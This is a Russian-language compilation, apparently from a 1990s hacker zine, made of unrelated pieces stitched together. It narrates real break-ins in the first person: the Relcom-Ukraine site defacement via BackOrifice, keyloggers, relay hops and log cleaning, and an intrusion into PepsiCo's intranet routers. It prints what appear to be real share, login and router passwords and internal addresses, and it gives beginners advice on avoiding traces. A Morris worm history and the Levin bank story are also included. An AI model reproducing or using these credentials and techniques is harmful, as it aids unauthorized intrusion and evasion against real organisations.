Теперь немного о применение вышеописанного. На первый взгляд может показаться , что это работает только для халявных серверов , но это не так. Это работает и для серверов провайдеров , если только HTTP , POP3 и SMTP ослуживаются одной машиной.
P.S. С некоторыми изменениями, этот алгоритм можно использовать для серверов которые предоставляют только HTTP. Правда для этого сервер должен поддерживать методы DELETE и PUT , ну и GET , естественно.
Как был взломан "Релком-Украина"
(первый и до сих пор один из крупнейших украинских провайдеров)
Это произошло в субботу, 19 сентября в 12.00. Мы всего лишь сменили гордость Релкома - www - на то, чем вы можете любоваться до сих пор здесь
(за что спасибо Д. Леонову).
Надо сказать, что Релком-Украина известен параноидальной любовью к безопасности своих машин. С год тому назад на их машинах какая-то западная поисковая система засекла файлы с детской порнографией (видно просто сопоставили имя+размер уже имеющихся в коллекции ФБР картинок); с тех пор там любой работающий в шелле каждые 10 мин вводит "last -20".
Часть кейлога с виндоуз-машины Релкома:
…toc[RETURN]sasha[RETURN]octybj89[RETURN]last -20 uueurostt[RETURN]last -20 uueurost[RETURN]last –20
Собственно, взлом то был чисто дружеским. Мы не хотели "убивать" Релком. Никакая информация не была стерта (лишь файл index.html был переименован в suxxx.htm), не были выведены из строя роутеры, да и оперативность, с которой починили сайт (1,5 часа) говорит не о "шустрости" админов, а о том, что мы не усложняли им задачу.
Вам не терпится узнать как же это мы ухитрились взломать чуть ли не самого защищенного провайдера Украины ? Все очень просто: люди, уделявшие особое внимание Unix серверам совсем забыли о том, что существуют открытые рабочие станции под Windows с реальными ИП-шниками.
Этим летом, когда вышел BackOrifice, я написал скромненький сканер, который проверял 31337 порт на предмет BO. Запустил его на ночь. На следующее утро я получил от провайдера сообщение типа "еще одно письмо с угрозой расправы за попытки сканирования сетей и я закрываю вам все UDP порты на выход". Ну что ж... Я порылся в своем ночном "улове", а в каждой подсетке C оказалось по 10-15 зараженных машин, и свил себе гнездо в одном скромном институтском компьютере далекого города. Надо сказать, что BO я значительно переделал расширив возможности. Теперь сканирование сетей шло с удаленного компьютера. Подсетки я выбирал чисто случайно. Без определенной цели. Среди улова была машина (насколько я понял финансового директора) предприятия, выпускающего навигационное оборудование для оборонной промышленности РФ. Папка "Мои документы" имела следующее содержание:
Contents of directory 'c:\мои документы\*.*': 0 D------ 11-11-96 09:21 . 0 D------ 11-11-96 09:21 .. 16384 -A----- 02-20-98 16:59 Salary.xls 0 D------ 06-24-98 13:13 Gyrocompass 0 D------ 03-03-97 11:33 Отчеты 0 D------ 03-03-97 11:32 Планы 0 D------ 07-02-98 14:37 VISTA 0 D------ 03-26-97 15:13 Ходатайства 0 D------ 05-08-98 13:53 Картинки 20480 -A----- 12-16-97 15:00 График отпусков 1998.doc 0 D------ 07-14-98 16:24 радио 0 D------ 03-12-97 09:04 labels 0 D------ 07-02-98 09:20 Гироскопы 0 D------ 03-24-97 12:25 Обоснования 52224 -A----- 07-15-98 16:07 bins.doc 0 D------ 06-30-98 16:03 ProSoft 19456 -A----- 05-22-98 09:23 Визы1.doc 0 D------ 03-14-97 09:35 Распоряжения 23040 -A----- 05-28-98 08:20 list1.doc 89056 -A----- 07-15-98 16:04 Bv4bnsv2.tif 0 D------ 02-12-97 10:04 strat 567544 -A----- 07-16-98 12:54 oernst.ra 0 D------ 03-03-97 11:33 Служеб_зап 227235 -A----- 07-06-98 16:22 price-se.htm 0 D------ 01-28-98 15:44 КАЛМАН 19456 -A----- 12-18-97 12:21 Визы.doc 0 D------ 04-17-98 11:33 iso 0 D------ 10-01-97 18:03 федерал 0 D------ 05-25-98 15:54 Мафтер 0 D------ 04-30-98 15:24 Подпись 19456 -A----- 05-20-98 16:12 ip-адреса.doc 0 D------ 06-25-97 17:10 Характеристики 0 D------ 03-13-97 18:35 Договора 0 D------ 07-07-98 16:03 FOG 24064 -A----- 05-20-98 10:43 Галкин_бланк.doc 0 D------ 07-02-98 15:27 Итоговые собрания 0 D------ 07-17-97 11:08 Внутр факсы 0 D------ 07-09-98 15:17 Морозов 0 D------ 06-10-98 12:23 Трофимов 0 D------ 06-10-98 16:57 Столы 0 D------ 03-03-97 11:36 Положения 0 D------ 02-24-98 09:50 Программы 360 -A----- 07-14-98 15:58 RealPlayer.lnk 0 D------ 07-20-98 10:16 Приказы о командир 0 D------ 03-03-97 11:33 Статистика 19456 -A----- 07-16-98 15:00 Лист 5 Договора подряда.doc 6731 -A----- 07-28-98 10:14 Dog-pmo2.asc 0 D------ 03-06-98 15:20 ping 41984 -A----- 07-29-98 14:30 Dog-pmo2.doc 0 D------ 04-17-97 09:52 Vizitka 0 D------ 04-30-97 12:57 Командировки 0 D------ 03-26-97 11:52 Перечень ПЭВМ 0 D------ 07-18-97 09:27 Приказы 0 D------ 07-29-98 18:07 Договора подряда 0 D------ 07-25-97 09:54 Знаки Total files: 55
Кроме того на этой машине был доступ еще к десятку офисных компьютеров. Неплохой улов, не правда ли ? Я честно написал чудаку письмо о том, что у него проблемы и предложил приехать к ним и научить как хранить свои тайны. Чудак сказал мне "спасибо" и все. Orifice кто-то убил, но дальнейшее сканирование их сети показало, что у их разделенные ресурсы доступны через 139. А пароли: Resource: 'P_5_VER' Password: '1478' Resource: '15997' Password: '82239' Resource: '1_HP_133' Password: '1478' Resource: 'BTO' Password: 'BTO' Resource: 'SMIRNOFF' Password: 'SMIRNOFF' Resource: 'FS6' Password: '82239' Resource: 'FS2' Password: 'SMIRNOFF' Resource: 'FS1' Password: '1478' Resource: 'HALL' Password: 'OIS' Resource: 'HP150' Password: 'NESTOR' Resource: 'NT' Password: '548935Yу' Resource: 'ONR' Password: '1478' Resource: 'OASUP' Password: '548935 ' Resource: 'ONR' Password: '548935`?Ш ' ScreenSaver password: 'PSSDUDE'
кажется так до сих пор и висят ;)). Вышеперечисленное я публикую как привет директору этого предприятия. Так что, запускайте свои Legionы. Разочаровавшись в человеческой благодарности я решил действовать более конкретно. Следующей жертвой оказался наш местный провайдер. Достаточно быстро я "освоил" весь их офис, включая НТ-сервер с НТФС. Кроме того, имел пароли к 3-м Юникс машинам. Так как бэкапы хранились не на специальных устройствах, а на жестких дисках, то в моей власти было за ночь уменьшить число провайдеров в нашем городе на одного. Я этого не сделал - опять написал письмо сисадмину. В качестве благодарности мне предложили слепить сайт по безопасности и около 10 часов бесплатного интернета ;)). Я опять долго смеялся над своей добротой.
<
Очередной машиной, на которой мой сканер зарегестрировал наличие BackOrifice оказался 193.124.229.71 - KROK из офиса Релком-Украина. Сразу же я убил там "чужую" бошку и поставил свою - с паролем и измененным портом. Таким образом, я уже тогда оказал Релкому неоценимую услугу - если бы первым ее нашел не я, то проблемы могли бы быть куда серьезнее.
Я даже и не надеялся на то, что получу от Релкома какую-то благодарность. Даже интернетовская безлимитка в Киеве мне просто не нужна, а денег они все равно не заплатили бы. Я посоветовался со своим "коллегой" и мы решили пока просто понаблюдать за тем как работает первый украинский провайдер, чужой опыт всегда полезен ;).
Кейлоги велись круглосуточно практически на всех машинах, а потом мы выкачивали их пользуясь двумя редиректами. Кстати, устанавливать редиректы мне просто нравится, и как показывает практика, в том режиме, в котором мы работаем, найти нас невозможно. Много раз наши кейлоги регистрировали смены паролей. Самый простой пароль имел 5 символов (User:alesha, passw:mzo.5), а стандартно включали по 8-9 символов (Se05WebMr, NiaTwThly, EpK0Qw33). Немного посовещавшись мы приняли решение всего лишь поменять www - хоть моральное удовлетворение получить. Здесь нас поджидали некоторые трудности. Во-первых, машина ultra.ts.kiev.ua (на ней хранится ввв) оказалась уж очень хорошо защищена. Нам пришлось установить редирект на офисной машине с романтичным названием Olways для входа на нее телнетом.
Но выход мы нашли. В субботу утром мы пользуясь редиректами закачали в один сильно захламленный инкаминг забытой богом ФТП файлы с нашей страничкой. Затем, используя двойной редирект зашли сначала телнетом на машину uacom.ts.kiev.ua (дозвоночный сервер) проверили пароли к главному серверу.
Когда мы зашли на ultra.ts.kiev.ua то запустив фтп-клиент, повытягивали наши заготовки пока что в каталог zz. Ну, а затем уже одному не составляло труда менять ввв, пока другой чистил логи под другим паролем (кстати, root там висит как пользователь постоянно).
Вот и все.
Потом наделали скриншотов, закинули копию странички на Nettaxi, где ее уже убили по непонятным нам причинам и читали себе почту на Хотмэйле
(тоже через редирект с выходом на вингейт (еще один редирект)). Скажите, что у нас тоже паранойя. Может быть, зато спим спокойно. Ответы, кстати, получились очень интересные. Ради них стоило все это затевать ;).
В заключении хочу дать несколько советов провайдерам:
Не держите у себя на работе гамеров-ламеров, и не пускайте левый народ за служебные машины.
Не давайте всем машинам подряд реальные ИПшники. Возможности современных компов позволяют делать проксирование\маскарадинг\НАТ без потери качества сети. Чем меньше вас видят, тем сложнее прицелиться.
Почаще смотрите что происходит с машинами, с которых вы запускаете Телнет, ФТП и т.п. И уж во всяком случае, не делайте этого с ИП, роутящихся через КОНКУРЕНТОВ.
Читайте новости о безопасности сетей. Например, обзоры Хакзоны - оперативные, интересные, достаточно подробные, да еще и на русском языке.
...и начинающим хакерам:
Не пытайтесь пользоваться BackOrifice для серьезных взломов - наша версия достаточно переделана и не оставляет следов.
Если вы не уверены, что вам надо что-то взломать, не взламывайте это. Здоровье сбережете. Мы описали идеально простой взлом, но даже здесь не все было так гладко.
Не светитесь. Пользуйтесь редиректами, анонимайзерами... Отработайте сначала взлом в моделе на своей локалке и попробуйте найти свои же следы. Не лезьте в незнакомые ОС.
Читай пункт 4 советов провайдерам.
Как это было...
Итак, что же делал Червь? Используя ошибки программного обеспечения того времени (которых сейчас, впрочем, не стало меньше; они просто стали другими), Червь внедрял свою копию на удаленные компьютеры и запускал ее. Каждый зараженный компьютер стремился заразить и все прочие связанные с ним машины. Червь не был специализирован на какой-либо одной операционной системе, но и особенно многофункциональным он тоже не был. Он был расчитан на операционную систему UNIX, а именно, на BSD Unix, работавший на машинах типа Vax и Sun-3. Обнаружив, что такие машины подключены к зараженной, Червь копировался на удаленный компьютер, запускался там, стремясь получить максимальный доступ к информации (используя ее только для продолжения взлома), и заражал соседние машины.
Поскольку каждый компьютер в Интернете соединен с несколькими, заражение распространялось лавинообразно. Более того, попытки выключить компьютер и снова включить приводили к тому, что через несколько минут на машине вновь, одна за другой, запускались копии "Червя" и загружали ее неимоверно. В UNIX под загрузкой подразумевается количество задач, которые были готовы выполниться за определенный промежуток времени, но не смогли.
Нормальной считается загрузка в единицу или в двойку. Загрузка же в 4 или в 5 - выше среднего. При загрузке более 10 работать уже невозможно. На отдельных серверах в моменты наибольшей активности "Червя" загрузка достигала 30, что фактически означало остановку компьютера.
Первые несколько часов никто ничего не понимал. Приблизительно, в 2.50 ночи 3 ноября в один из интернетовских списков рассылки было послано сообщение: “Нас атакуют!”. Впрочем, списки рассылки,весьма удобное и практичное средство Интернета, в тот момент не работали, из-за неимоверной перегрузки систем.
Так уж повелось (традиция такая), что системным администраторам не привыкать работать в ночь. Достаточно вспомнить, что программное обеспечение еще для Арпанета - самое первое - писалось как раз в ночь с пятницы на понедельник.
Это была долгая и тяжелая ночь, но прогорамма была написана в срок.
Так вот, к утру один из типов атаки стал ясен системным администраторам, и были выпущены предварительные "заплаты" к сендмейлу ("заплатой", или патчем, от английского patch, называют описания изменений, которые нужно внести в файл). Несколько часов спустя выяснилось, что они не помогают, компьютеры заражаются каким-то другим способом - не через сендмейл. По прошествии еще нескольких часов разные люди в разных лабораториях независимо друг от друга закончили патчи для фингерди. Первые три - четыре патча по странной случайности не попали в сеть, но уже к вечеру 5 ноября большинство компьютеров в Интернете было свободно от Червя, программное обеспечение было исправлено, и началась интенсивная работа по декомпиляции вируса.
В принципе, пик эпидемии был сбит через двое суток, хотя, по данным лиц, еще тогда пожелавших остаться анонимными на отдельных машинах Червь бродил еще в начале декабря. Работа по декомпилированию Червя (то есть, восстановлению исходного текста по двоичному файлу) была закончена достатачно быстро: Червь был программой нетривиальной но и боролись с ним отнюдь не студенты первокурсники.
Алгоритм его работы был прост, хотя и не лишен изящества. Здесь он излагается в весьма упрощенном виде, более подробные описания (на английском), в формате html и PostScript, доступны в Интернете (напр. http://freebsd.svib.ru/cgi-bin/showlinks.pl, в разделе Internet History).
Программа Червя состояла из трех частей: загрузчика (99 строк на языке C), собственно Червя, скомпилированного для VAX, и того же Червя, но скомпилированного под Sun.
В BSD-Unix'е и его многочисленных потомках существует набор сервисов для удаленного выполнения программ. Сегодня для подобных целей используется программа ssh (ссылки на соответствующие ресурсы можно найти там же, на http://freebsd.svib.ru/cgi-bin/showlinks.pl), запрещенная в России печально знаменитым Указом о криптографии, во времена же древние его место занимали так называемые r-программы.
Наиболее уязвимым местом в них была идея "доверия" - пользователи компьютеров, бывшие в списках "доверенных узлов", имели право запускать свои программы на "доверяющей" машине без какой-либо дополнительной проверки. Кроме того, отношение доверия часто было симметричным - если, к примеру, машина alpha доверяет пользователю luser с машины beta, то и машина beta, скорее всего, доверяет пользователю luser с машины alpha.
Итак, Червь проникал на одну из соседних с зараженной машин, используя дыру в sendmail, дыру в fingerd или доверие и rsh (remote shell - удаленная оболочка, программа, позволяющая удаленно запускать задачи). При проникновении на атакуемый компьютер забрасывался загрузчик, команда на компиляцию и выполнение загрузчика, и стирание всех временных файлов. Затем загрузчик втягивал все три файла и пытался запустить сначала одно, потом другое тело. Если ни одно из двух тел не запускалось, загрузчик просто стирал и их, и себя, и прекращал работу.
Запустившись, Червь пытался "спрятаться" - стирал свой выполняемый файл, шифровал оба тела, читал их в память, а с диска тоже стирал, и, насколько это возможно, убирал информацию о себе в таблице процессов.
Затем, собиралась информация о сетевых интерфейсах зараженного компьютера и о соседних компьютерах, и часть соседей подвергалась попыткам заражения. Те, которых удалось заразить, помечались как зараженные; те, которые заразить не удалось - как "иммунные".
С этими попытками чередовались попытки получить доступ к компьютерам, "доверявшим" зараженному. С этой целью собирались списки компьютеров, которым "доверял" зараженный. Затем, Червь пытался подобрать пароли пользователей.
Подбор паролей осуществлялся довольно простым, но, в то же время, эффективным способом: использовалось четыре вариации на тему login пользователя, а также, список из примерно 250 слов. По заявлениям некоторых системных администраторов, на отдельных компьютерах свыше 50% паролей были вскрыты таким образом.
В работе Червя было еще несколько деталей, впрочем, они не важны для понимания механизма его работы.
Одна из легенд, связанных с Червем, гласит, что этого монстра выпустил на волю студент первого курса - юное дарование, компьютерный гений. Как и в большинстве легенд, в ней содержится правда, хотя и не вся.
Действительно, Роберт Моррис - младший был человеком неглупым, и действительно учился на первом курсе. Отец его, Роберт Моррис - старший, в период написания Червя был известным программистом, специалистом по безопасности операционных систем, сотрудничавший с NSA Безусловно, информацией, принадлежавшей отцу, мог воспользоваться и сын.
Зачем он это сделал - навсегда останется загадкой. По его собственным утверждениям, это был всего лишь эксперимент, вышедший из-под контроля. Впрочем, строго говоря, Червь и не нанес прямого ущерба.
Да, двое суток работы системного администратора стоят дорого - сотни, а то и тысячи долларов, а работал их не один десяток. Да, компьютеры простаивали, но ни один файл не был уничтожен; хранящаяся в машинах конфиденциальная информация не была разослана куда бы то ни было. С этой точки зрения вполне можно допустить, что Червь был действительно безобидным, вышедшим из-под контроля экспериментом.
Впрочем, существует и другая гипотеза, столь же обоснованная. Изначально Червь действительно был безвреден, но на более поздней стадии к нему могли и должны были быть добавлены агрессивные модули; например, переправляющие списки раскрытых паролей или уничтожающие файлы. В пользу этой версии свидетельствует тот факт, что Червь оказался куда более жизнестойким, чем мог бы быть обычный опыт с сетью, и некоторые куски Червя производили впечатление недописанных.
Например, Червь использовал некоторые весьма нетривиальные технологии, включающие аутентификацию при пересылке (Червь пытался "убедиться", что пересылает файлы именно копии Червя, он шифровал свои, хранящиеся на диске, файлы), и, в то же время, атака на fingerd работала только на Vax'е, а определение типа машины делалось попытками последовательно запустить два выполняемых файла.Похоже, Моррис действительно упустил свою программу на раннем этапе тестирования...
Сам Моррис со вполне понятной твердостью уверял суд в том, что никому не желал зла и лишь хотел поэкспериментировать.
Кстати, к моменту, когда в ФБР поняли, кто виновен в произошедшем, Моррис уже шел сдаваться. Он, похоже, сам не ожтдал такого эффекта - по некоторым данным, он пытался предупредить компьютерное сообщество, потом обсуждал происшествие с несколькими друзьями, даже говорил (анонимно) по телефону с корреспондентом...
Наконец, посоветовавшись с адвокатом, он явился с повинной.
Контроль сетевых соединений.
Узнать о постороннем доступе в систему можно контролируя сетевой траффик и сканнируя хосты на предмет открытых портов. Существует большое количество как сканеров так и систем контроля за сетевым траффиком. Лучшим решением всегда остается firewall ;-).
Levin
Странички истории, или как действительно был взломан Сити-Банк
Лето 1995 года было действительно жарким, в это время мировая общественность всколыхнулась от сенсационной новости-простой российский хакер по имени Владимир Левин взломал электронную защиту Сити-Банка и похитил 400 000 доллаpов. Попpобуем пpоанализиовать эту истоpию еще pаз с высот 1997 года.
Для этого я пpедлагаю pассмотpеть тpи веpсии, котоpые на данный момент имеют место.
Начнем с официальной. Согласно ей, во взломе банка участвовало несколько человек. Сначала pаботал один компьютеp, потом втоpой, потом тpетий и т.д. Благодаpя такому "штуpму" система защиты дpогнула и "хакеpам" удалось похитить деньги. Напомню, что им удалось пеpевести на подставные счета 10 000 000 доллаpов. Вернее, они так считали, что пеpевели. В какой-то момент вpемени администpатоу банка удалось засечь их деятельность и веpнуть 960 000 доллаpов обpатно. Но 400 000 доллаpов так до сих поp и не найдено.
Втоpая веpсия pождена нашимим пpавоохpанительными оpганами, которые также имеют свой взгляд на пpоизошедшие события. В качестве небольшой пpелюдии к ней скажу несколько слов о хакеpах. Кто они такие и чем занимаются, вам известно. В компьютеpной сети Интеpнет, встpетить наших соотечественников можно где-угодно, особенно пpофессиональных " взломщиков". Поэтому не исключено, что в опpеделенной момент на ВВS банка находилось несколько наших человек, котоpым было пpосто интеpесно, что находится на их сеpвеpе.
А никакого огpабления собственно говоpя не было. Зачем же тогда весь этот шум, спpаведливо спpосите Вы? Да все достаточно пpосто- чтобы напомнить своему пpавительству о так называемой "советской" угpозе, котоpая тепеpь имеет место в такой интеpесной фоpме. Если веpить этой веpсии, то можно понять каким обpазом господин Левин выехал в Англию, где его собственно говоpя и "скpутили".
Вспомните пеpвую веpсию, согласно ей администатоp успел веpнуть 960 000 доллаpов, а так же вычислить откуда идет команда о пеpеводе денег.
Если это так, то навеpное логично было бы связаться с нашими пpавоохpанительныими оpганами и задеpжать пpеступника на теpитоpии России. Но этого не было сделано. Почему? Неизвестно. Иными словами, господина Левина кpуто подставили, pади каких-то там интеpесов.
Тепеpь пеpейдем к веpсии тех людей, котоpые лично знали Левина. В свое вpемя он был одним из Санкт-Петеpбугских НОДов сети ФИДО. По отзывам, он чисто психологически не мог совеpшить кpажу. Ну не тот менталитет у него.
Что же думают сами "хакеpы" относительно всех этих событий. Вашему коppеспонденту удалось встpетиться с человеком, котоpый, в силу своего хобби, оказался пpактически в центpе всех этих событий. Вот что он мне pасскал:
Задолго до того, как произошли всем известные события, несколько российских хакеров из Санкт-Петербурга проникло на BBS банка.Сделать это достаточно просто, пользуясь сетью Интернет. Операционной оболочкой в Сити Банке служила Unix, которая по словам одного из ХАКЕРОВ "является одной большой дырой, проникнуть через которую достаточно легко, если умеешь конечно". Одним из тех,кто проник в банк был уже достаточно известный, благодаря журналу "Птюч", хакер по имени Мегазоид.
Из pедакционного досье:
На самом деле под этим именем скpывается один из самых талантливых пpогpаммистов Санкт-Петебуга.( более известная кличка Пpотозоид) Его достаточно часто можно встpетить в баpе " Fish Fabrique", котоpый находится на Пушкинской улице. На контакт выйти с ним достаточно сложно. О сеpьезных делах пpедпочитает не говоpить. Хотя если напоить пивом, то сенсации вам обеспечены.
При этом, не стоит думать,что проник он туда с целью перевода себе каких-то денег,абсолютно нет. Просто хакеры- это такие люди, которым интересно посмотреть что там за чертой.( и об этом мы уже говоили во втоpой веpсии) Мегазоид находясь в банке нашел несколько "дыр" в системе защиты и некоторое время ходил по нему как по своему родному дому. Он даже смог пронаблюдать как работники банка переезжали с этажа на этаж и в спешке забыли дискету в одном из компьютеров, а потом три дня ее искали.
Естественно, что администратор сети банка очень скоро заметил,что в системе есть кто-то посторонний. Причем сделал он такие выводы только по той причине, что Мегазоид, по сравнению с другими пользователями банка, сделал себе достаточно маленькие права.
Нащупав Мегазоида администратор немного удивился и начал активно выпихивать его из сети. В ответ, Мегазоид написал ему письмо с приблизительно следующим содержанием: Я бедный русский хакер из Питера,не трогайте меня, пожайлуста, а я вам за это покажу где у вас бреши в системе защиты.
На самом деле Мегазоид немного схитрил,он нашел несколько пробоин в системе,а рассказал только об одной. После того ,как он показал ,где находиться дыра в защите, администратор повел себя абсолютно не по-джентельменски,и элиментарно его вырубил .
В ответ на это Мегазоид зашел во вторую брешь и навестил его снова с пламенным приветом из Питера.
Наверное вам будет интересно узнать на какой машине работал в этот момент Мегазоид, если вы думаете,что это супернавороченный Пентиум, то вы глубоко ошибаетесь. На самом деле это был терминал,т.е. фактически один монитор с модемом. На жестком диске компьютера банка Мегазоид отвел себе немного места, на котором держал весь свой софт.
В один прекрасный момент Мегазоиду срочно потребовались деньги и он продал уже печально известному В.Левину за 100 долларов секрет проникновения через систему защиты банка.
а дальше....
Дальше сpаботала либо пеpвая, либо втоpая, либо третья версия. После того, как поизошел веcь этот скандал компетентные оpганы нашего гоpода хоpошенько почистили всех наиболее известных хакеpов. До сих по в МВД, существует целый отдел, одной из задач котоpого как pаз и является отслеживание "электpонных" взломщиков.
Но как говоpится техническая мысль не стоит на месте, и навеpное скоpо мы услышим о новых ухищpениях хакеpов, котоpые как пить дать попытаются взломать еще чего-нибудь.
MAIN
SOFT-ICE
Перед вами максимально близкий к исходному тексту перевод руководства по эксплуатации отладчика Soft-ICE (2.62-2.80 для ДОС) фирмы Numega Technologies. При переводе Английские термины по возможности были заменены их русскими эквивалентами, логическое расположение текста и смысловое содержание не были изменены.
За смысловую нагрузку (в особенности в примерах) переводчик ответственности
не несет.
Успехов в отладке программ !
Руководство
Приложение 1
Приложение 2
Определение backdoors.
Хорошо спрятанный backdoor довольно трудно найти. Вопросы поиска и создания backdoors напоминают "спор брони и снаряда".
Pepsi
Исследования Intranet-сети компании PepsiCola International.
Уважаемые читатели, Вашему вниманию предлагается статья, описывающая реальный
взлом системы. Это 'исследование' было проведено чисто в познавательных целях и мы старались руководствоваться принципом "не навреди".
Все началось с моего интереса к х.25 сетям ( благо эта древняя технология вполне прижилась у нас - сети типа Rosnet, Rospac, IASnet, Infocom, Infonet, SITA, Sprint имеют свои модемные пулы чуть ли не во всех городах России, исправно снабжая NUI хакеров PPP и telnet доступом в Internet ).
Для рядового пользователя эту сеть можно считать аналогом Interneta, тут тоже есть свои адреса ( правда не IP, а Network User Address ), есть и мнемоники, представляющий аналог имен DNS. Правда удаленно по модему "работать" с этой сетью можно только сидя на PADе в своей терминалке. ( PAD - это Packet Assembler Disassembler т.е. вещь, которая принимает \ передает пакеты от пользователя к хостам , это немного похоже на telnet соединение).
Итак....
Около 2 месяцев назад я сканил SITA network на предмет интересных общедоступных адресов в сети ( NUAs ). Однажды утром я заглянул в лог сканнера и обнаружил PPP соединение по адресу
2852376 PPP 165.198.104.22 ( сейчас этот адрес не отвечает, скорее всего его прикрыли )
При подсоединении было обнаружено, что сеть представляет собой нечто на основе tcp/ip с restricted доступом в Internet.
Использовав сервис whois, удалось выяснить, что данная маска ip 165.198.0.0 принадлежит
Pepsi-Cola International (NET-PCINET-B2) 1 Pepsi Way Somers, NY 10589
inetnum: 192.168.0.0 - 192.168.255.255 netname: IANA-CBLK1 descr: Class C address space for private internets remarks: Country is really worldwide remarks: This network should never be routed outside an enterprise
Вполне логичным теперь было пойти на ближайший роутер и что-либо выяснить
Роутер нашелся легко - достаточно было протрэйсить путь к любому адресу, отличному от 127.0.0.1 :)
>>>> tracert 165.197.160.10
Tracing route to 165.197.160.10 over a maximum of 30 hops
1 57 ms 60 ms 58 ms 165.198.104.22
Затем вполне логично было попробовать зайти на роутер telnetom
telnet://165.198.101.1
***************************************************** * PLEASE ENTER THE PASSWORD AT THE SYSTEM PROMPT * * - UNAUTHORISED ACCESS IS FORBIDDEN - * *****************************************************
Password:
Как обидно было увидеть такой баннер от CISCO routera, пароля на тот момент я не знал ( а пароль был на самом деле gustav, универсальный (!) пароль на все роутеры в этом Intranete )
Конечно это немного обломало, но ведь есть еще приятные программы - сканнеры IP адресов :)
Не долго думая, я запустил свои NetScanTools на проскан ip диапазона 165.198.1.1 - 165.198.254.254 и обнаружил интересные хосты даже с DNS entry
Они ясно не скупились на домэйны для своих подчиненных....
Теперь стало понятно, что может существовать web-server, обслуживающий весь PepsiCola Intranet. Самое интересное, что так все и было :) Главный сервер имел адрес http://www.intl.pepsi.com/ Зайдя любимым Netscapom по этому urly, удалось выяснить, что сеть Пепси есть и в Москве, но шнурок там тонкий - 64 кб и ip адреса не указаны
NETWORK SEGMENT INFORMATION Somers / Moscow
moscow.somers.intl.pepsi.com
SEGMENT NAME Somers / Moscow DIVISION PCI MEDIA MCI IPL BANDWIDTH 64 Kbps CATEGORY Remote Link NETWORK ID GCI - 18232-00100 IP Address
Удалось выяснить, каким боком Пепси доступны по х.25 ... Существует так называемый проект WorldOne Profile, про заключении договоров по которому локальным подразделениям дается выход на х.25:
" The WorldOne project is managed out of the Telecommunications Department of Pepsi-Cola Company International. PCCI is centrally managing the project for all of PepsiCo's International Divisions. WorldOne works with telecommunications providers around the world to provide PepsiCo with the best services. WorldOne can supply data and voice solutions for both in-country and country-to-country. WorldOne has chosen Concert Communications, the joint venture between MCI Communications and BT Communications (British Telecom), as our primary global network provider."
Вот и всплыла СИТА из гонконговского подразделения
Далее был найдет забавный ftp сервер ftp.somers.intl.pepsi.com. Под anonymous там была доступна все аудитная информация о доходах и технологических секретах Pepsi :), например, как из @#$%XX сделать напиток и чипсы Lays. Там мы и обнаружили конфиги роутеров, пароли в которых успешно были раскриптованы с помощью cisco.c Так, по непонятным причинам там лежал файл с номерами, удивительно похожими на AMEX ... но это уже другая история....
Пользуясь интеллектуальным cgi-searchem на
http://www.emea.intl.pepsi.com/Somers/Search.htm
удалось найти еще несколько ftp, с полным доступом к чужим дискам. Настало время роутеров, в первую очередь посетили hong-kong
User Access Verification
Password: gustav
hkonr1#show x25 ? map Show x25 map table pad X25 pad connection status remote-red X25 REMOTE-RED table route Show x25 routing table vc Show x25 virtual circuit parameters and statistics
hkonr1#show x25 route
Number X.121 CUD Forward To 1 2852376 translation, 148 uses
hkonr1#show hosts Default domain is intl.pepsi.com Domain list: INTL.PEPSI.COM, SOMERS.INTL.PEPSI.COM Name/address lookup uses domain service Name servers are 165.198.151.29, 165.198.151.28
Теперь, обладая паролями к роутерам, мы могли перенастроить весь роуминг, вполне можно было внедрить ложный роутер \ dns server для перехвата всех пакетов, проходящий через intranet.
К сожалению, на тот момент я не знал про возможность подключать расшаренные диски win95/NT по Netbiosу через tcp/ip. Тогда мы поживились бы еще большим ..
В заключение мы выяснили, что сеть отделяет от интернета продвинутый firewall по адресу 157.146.100.6, однако пару дней с наших аккаунтов был неограниченный доступ в интернет.
Изучая роутер, я вспомнил, что видел подобную вещь на московском диалапе, который нашел сканированием 095-258-хххх атс
2587465 по этому телефону располагался незапароленный роутер той же самой Pepsi !
moscr1>termianl Translating "termianl"...domain server (165.198.151.29) (165.198.151.28) % Unknown command or computer name, or unable to find computer address
moscr1>ppp
По непонятным причинам ( но кажется я начал понимать :) этот телефон прикрыли.
Ниже прилагается файл hosts со всеми dnsами хостов в PepsiCola Intranet
#[cek01] HOSTS, September 8, 1995 9:51:39, Edit by Chris Kalish # Pepsi-Cola International Global /etc/hosts file. # # The Master Copy of this file is currently in \\CKalish\c$\etc\hosts. # When making changes to the HOSTS file, ALWAYS edit it in this # location. To propogate the file, use the command file: # \\CKalish\C$\NewHost.CMD. # # This file is the master hosts file that gets replicated onto the # primary PCI WINS server (165.198.151.10). #
127.0.0.1 localhost
#PCNA 157.146.85.109 SomL01 #PCNA Notes Server 157.146.99.2 Mainframe
157.146.100.4 Pepsi.com 157.146.100.5 PCNA 157.146.100.5 PCNA 157.146.100.6 Internet #DNS
Дело было так ... Жил-был Лирик, и со скуки возьми он и дай мне один пад в сите, и при этом сказал он : -На ! дарю, тока все равно там ты только к локальной сетке приконектишся, да и то хрен знает, что это за сетка, я пробовал и ничего не вышло - там firewall, сказал Лирик :) Ну я со скуки взял и приконектился...
По привычке моя ICQ, как только почувствовав, что пошли пакеты по TCP-IP, возьми и давай со своим серваком конектиться . Не успел я и глазом моргнуть, как ICQ сконектилась :-( ) . "Не понял" - воскрикнул я :) Но загрузив netscape navigator 3.0 gold и написав : www.cnn.com^M я окончательно и безповоротно убедился - я в инете .
Хмм - странно ?! Лирик стареет :) или они открыли гейт после того, как он этот пад пробовал ? Нет - неможет быть, подумал я, скорее всего второе . Ну ладно, не будем об этом. Ну давай я значит этот аккоунт юзать :) а тут и Лирик подвалил в ICQ contact list, и мне мессагу сразу "Ты гад, ты, что мне не сказал, что тот пад работает !!! :( " Ну я давай ему обяснять, что я сам тока тока понял это :)
Ну вроде, как мне показалось, он меня понял. Ну значит Лирик время даром не теряя, стал сканить тамашние IP на домайновые имена . И через 5 минут мы были на сервере (---). Попутешествовав там еще немного мы поняли, что имеем доступ в сеть GlobalOne. Как потом выеснялось - эта сеть принадлежит компании PEPSI. Доступа на сервера этой сетки из инета конечно небыло . Мы сразу поняли, что эти сервера не для всех (я имею ввиду только для сотрудников компании). Нам с легкостью удалось пробраться на имеющиеся у сети серверы FTP.
